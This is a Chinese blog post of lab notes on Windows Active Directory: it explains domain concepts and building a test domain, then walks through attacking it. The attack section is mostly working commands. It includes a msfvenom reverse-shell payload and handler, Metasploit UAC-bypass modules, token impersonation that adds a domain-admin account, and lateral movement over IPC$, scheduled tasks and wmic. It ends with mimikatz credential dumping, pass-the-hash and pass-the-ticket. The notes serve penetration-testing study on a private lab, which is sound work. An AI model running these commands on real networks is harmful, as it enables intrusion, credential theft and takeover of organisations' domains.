4.域安全

Windows内网和域的介绍

一般是企业的Windows server

基本概念

工作组:work group,一种资源管理方式

ping计算机名和ping IP效果差不多,虽然是ipv6地址

域:Domain

域控制器:Domain Controller(DC),对于多台主机进行管理,分配账号和某些权限;域和域之间也可以添加互相信任,相互管理、打印资料或通信

域分类:单域、父域和子域、多域(树)、域林

域中计算机分类

DC、成员服务器、客户机、独立服务器;DC是必须的,因为安装了活动目录(AD,Active Directory)

DC:用户访问操作验证

成员服务器:安装了服务器的操作系统并加入域,但没有安装AD

客户机:普通用户,公司员工

独立服务器:普通服务器,和域没有关系,也没有AD,自己就是一个工作组

域内权限

组group:

域本地组:多域用户,访问单域资源;来自域林作用于本地

全局组:单域用户访问多域资源;来自本域作用全林

通用组:多域用户,访问多域的资源;来自全林作用全林

活动目录

Active Directory(AD)

职能:客户计算机管理、用户服务、资源管理、桌面配置、应用系统支撑

可以理解为网吧的网管

DMZ

隔离区,非军事化区(Internet—DMZ—内网)

一般放防火墙,FTP服务器、企业服务器等

域的搭建和成员加入

192.168.223.180(windows 2012)作为DC,192.168.223.181(windows 2008)加入DC

DC(192.168.223.180)

控制面板—网络和共享中心—更改适配器设置—右键属性,在ipv4里将自己的ip和DNS服务器固定为自己的IP,此时IP固定,在高级系统设置中修改计算机名为DC-1,然后重启

记得把服务器密码设置永不过期,不然每次重启都要改密码

在服务器管理器中添加角色和功能,也就是起一个服务,从服务器池中选择服务器,安装Active Directory域服务和DNS服务器,一直下一步,点上如果需要自动重启

重启服务器,点击右上角的旗子,将此服务器提升为域控制服务器

image

由于现在没有域,添加新林,根域名为test1.com,林和域的功能级别是向下兼容的,同时设置DSRM密码为Test123!,一直点击下一步

在路径那边,可以看到数据库文件夹为C:\\Windows\NTDS,日志文件文件夹为C:\\Windows\NTDS,SYSVOL文件夹为C:\\Windows\SYSVOL,然后一直下一步即可,之后重启

image

此时计算机名修改为DC-1.test1.com,同时也多了很多管理工具,点击Active Directory用户和计算机

在里面的Users中新建组为group1,也可以新建一个用户user1,用户登录名为user1@test1.com,并设置密码Test123!,同时密码永不过期

加入用户(192.168.223.181)

首先将计算机名修改为win2008-1,固定网络共享的IP地址为自己,但是DNS服务器为DC服务器IP,设置完后重启一下,之后ping一下域名 dc-1.test1.com ,可以ping通然后解析到DC的IP

然后再将计算机的域更改到test1.com,此时要求输入有权限加入该域的账号和密码,使用之前创建的user1的账户和密码,进入后重启计算机,切换到域内用户

image

域内信息搜集

登陆一般在企业不使用administrator账户,而是域内的user1用户,假设已经拿到该用户权限

1.对服务器的角色进行判断

在cmd中whoamiipconfig /all,对主机名、主DNS后缀(域内名字),DNS服务器,由于在搭建中DNS服务器和DC多数绑定,所以我们通过DNS服务器推测DC的IP;SID(唯一标识符)

systeminfo,查看服务器系统,并且获得登陆服务器的名字和域(DC-1)

wmic product get name,version 找到装载的程序

wmic service list brief查看本机服务,通过服务看到有无注入/有漏洞的服务

tasklist查看进程,可能连接的不会是图形界面,如果看到有杀软可以针对杀软进行免杀

vmic startup get command,caption 查看开机自启动的东西

schtasks /query /fo LIST /v 查看计划任务

net statistics workstation 查询主机开机时间

net user 查看本机用户(Administrator),和登陆用户不一样,说明是域用户登陆

net localgroup administrators 发现其他用户,查看人类最高用户表中有哪些成员等

query user || qwinsta 查看当前在线的用户

net session 列出断开本机和连接用户的对话

net -ano 查看开放的端口

net share 查看是否开放域共享列表

route print 查看路由表,显示网关和路由目标等

arp -a 查看当前内网中有多少设备

2.搜集域信息

net user user1 /domain 查看user1用户在域中的信息以及目前所在域的名字

net config workstation 搜索计算机名和全名以及目前所在域的名字

net time /domain 查看域内时间(如果存在域且在域内则会返回域内时间,如果存在域内但不是用户则命令不会成功),同时返回DC的全名

ping dc-1.test1.com 通过查看DC全名进行ping,获得DNS服务器IP

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.223.%I | findstr "TTL=" 对内网中的设备ping一次,利用该主机搜集主机存活

net group /domain 请求域控进行处理,获得域控上有哪些用户组和DC全名

Domain Admins   //域管理员
Domain Computers //域机器
Domain Controllers //域控
Domain Guests //域访客
Doamin Users //域用户
Enterprise Admins //企业系统的管理员用户

net group "domain computers" /domain 请求域控返回当前域的其他成员

net accounts /domain 密码的使用时间,用户到期后注销等

nltest /domain_trusts 获得域信任关系

nltest /DCLIST:test1 从其中获得Default-First-Site-Name,即域控是谁

nslookup -type=SRV_ldap._tcp 获得域名解析信息,即DNS服务器IP

net group "Domain Controllers" /domain 或者netdom query dc 确认DC的计算机名

wmic useraccount get /all 查看域内用户的详细信息

uac提权

UAC:在Windows上读写数据库,Windows目录、更改账户信息等操作会跳出来输入用户名和密码认证

在通过msf拿到服务器权限后进行操作

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.223.131 lport=4444 -f exe > msf.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.223.131 
exploit

# 上线后放在后台
background
sessions 

use exploit/windows/local/bypassuac
set session 1
run

如果无法使用,通过back返回使用另一种方法

use exploit/windows/local/ask
set session 1
run

image

此时如果可以uac提权会跳出用户框,诱导用户输入管理员账号和密码;之后会建立新的链接,此时多了一个session权限为Administrator

image

这时候就可以通过getsystem进行提权到system

令牌认识

令牌=token,系统中的临时密钥,决定发起请求的是哪个用户,使得在不提供密码等其他凭据时访问域网络,但是具有随机性,所以一般无法利用工具猜解

伪造令牌:核心为kerberos协议

进入一个session,通过拥有administrator权限套取system权限或者域控

use incognito
list_tokens -u    
//看到令牌的数量,Delegation Tokens表示授权令牌,支持交互式登陆;Impersonation Tokens,模拟令牌,非交互式;权限越高看到的令牌越多
impersonate_token 'NT AUTHORITY\SYSTEM'
impersonate_token Test1\\Administrator

出现successfully impersonated

image

纵向移动

当我们获得其中一台计算机的system权限后,我们尝试进行纵向迁移到域控的administrator中去

//看一下服务器的进程
ps
//发现域管理员控制的进程的PID是2772,迁移过去
migrate 1880

通过migrate就可以拥有进程所有者的权限,此时拥有域控权限

如果无法迁移,则使用incognito

//进入隐身模式
use incognito
//查看哪些权限可以使用
list_tokens -u
//使用域管理员用户
impersonate_token TEST1\\Administrator
//此时可以随意添加用户名和密码
add_user zyx Test123! -h 192.168.223.180
//将该用户在域中提权,提升到域控
add_group_user "domain admins" zyx -h 192.168.223.180
//此时进入shell可以看到该用户就在管理员
net group "domain admins"

横向移动

在入侵某台域内计算机后获得system权限后,拿到域控用户

use incognito
list_tokens -u
impersonate_token TEST1\\Administrator

通过建立网络映射或者在命令行中使用

//映射网络驱动
\\192.168.223.180\c$

//命令行进行共享
net use \\192.168.223.180\c$ "Test123!" /user:zyx
//查看共享情况
net use
//查看共享文件夹
dir \\192.168.223.180\c$
type \\192.168.223.180\c$\haha.txt

由于对方开启了135和445端口,也可以使用ipc$进行共享

net use \\192.168.223.180\ipc$ "Test123!" /user:zyx
# 查看进程
tasklist /S 192.168.223.180 /U zyx /P Test123! 

此时低权限用户也可以执行命令

//复制文件
copy a.txt \\192.168.223.180\c$
//计划任务,让域服务器执行ipconfig并将内容输出到当前服务器的c:/1.txt中
at \\192.168.223.180 9:51PM cmd.exe /c "ipconfig > c:/1.txt"
//系统版本较新,直接执行当前服务器上c:/a.bat的文件
schtasks /create /S 192.168.223.180 /tn haha /sc onstart /tr c:/a.bat /ru system /f 

mimikatz使用

小知识

Windows散列值获取:在域环境中用户的信息存储在ntds.dit,加密后为散列值

Windows密码一般由两部分组成,为LM Hash和NTLM Hash,hash结构为user1:RID:LM-HASH:NT-HASH

LM实际上是一个DES加密,密码被限定在14位以内

NTLM为了提高兼容性和安全性,基于md4加密,在Windows XP系列后多数是NTLM

mimikatz使用

新版kali自带,默认在 /usr/share/windows-resources/mimikatz/x64,将其打包放在对方电脑即可

//进入mimikatz文件夹
mimikatz "privilege::debug" "log" "sekurlsa::logonpasswords"
//2008之前的密码可以直接读取,2008之后则是乱码或者NULL,且使用时至少是administrator权限

privilege::debug:将所有能读到的密码全部变成debug模式;log:使用日志;sekurlsa::logonpasswords:相当于注入并获得密码

pass-the-hash

如果在Windows2012版本以上使用mimikatz,则会显示乱码或者NULL,但是我们依然会获得NTLM的hash值,对其进行破解

//进入mimikatz文件夹,获取DC的NTLM值
mimikatz "privilege::debug" "log" "sekurlsa::logonpasswords"
//383fe399326a954a97f73781553ae73d

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:test1.com /ntlm:383fe399326a954a97f73781553ae73d"

此时会告诉我们利用该ntlm以administrator身份创建了一个cmd.exe,并告诉我们进程号,同时该服务器会自动弹一个mimikatz创建的cmd,权限为system,可以控制DC

AES256获取

//aes256的hash
mimikatz "privilege::debug" "sekurlsa::"ekeys"
//对dc-1$用户的aes256进行pass-the-hash
mimikatz "privilege::debug" "sekurlsa::pth /user:zyx /domain:test1.com /aes256:23b489fcab9874c2d891a8dfc3dfd5a44aed27c6bd7f77d325b6b8ac01190a71"

通过拥有域内计算机的administrator来获取DC权限,如dir \\dc-1\c$

票据传递

//进入mimikatz
mimikatz
//进入debug模式
privilege::debug
//票据导出,是导出到当前x64文件夹,后缀为kirbi
sekurlsa::tickets /export
//清理内存中的票据
kerberos::purge
//把票据注入到内存
kerberos::ptt "c:\x64\[0;3a6a4]-2-0-40e10000-Administrator@krbtgt-TEST1.COM.kirbi

此时退出mimikatz直接就有操作DC的权限,即当前cmd已经有administrator权限

wmic命令执行

使用wmic命令,在拥有DC用户权限时进行横向移动

wmic /node:192.168.223.180 /user:zyx /password:Test123! process call create "cmd.exe /c ipconfig > c:\ip.txt"

此时可以借助zyx的DC账户控制DC-1的主域控用户,通过查看ip.txt进行验证

type \\dc-1\$c\ip.txt
posted @ 2022-04-24 22:47  icui4cu  阅读(225)  评论(0编辑  收藏  举报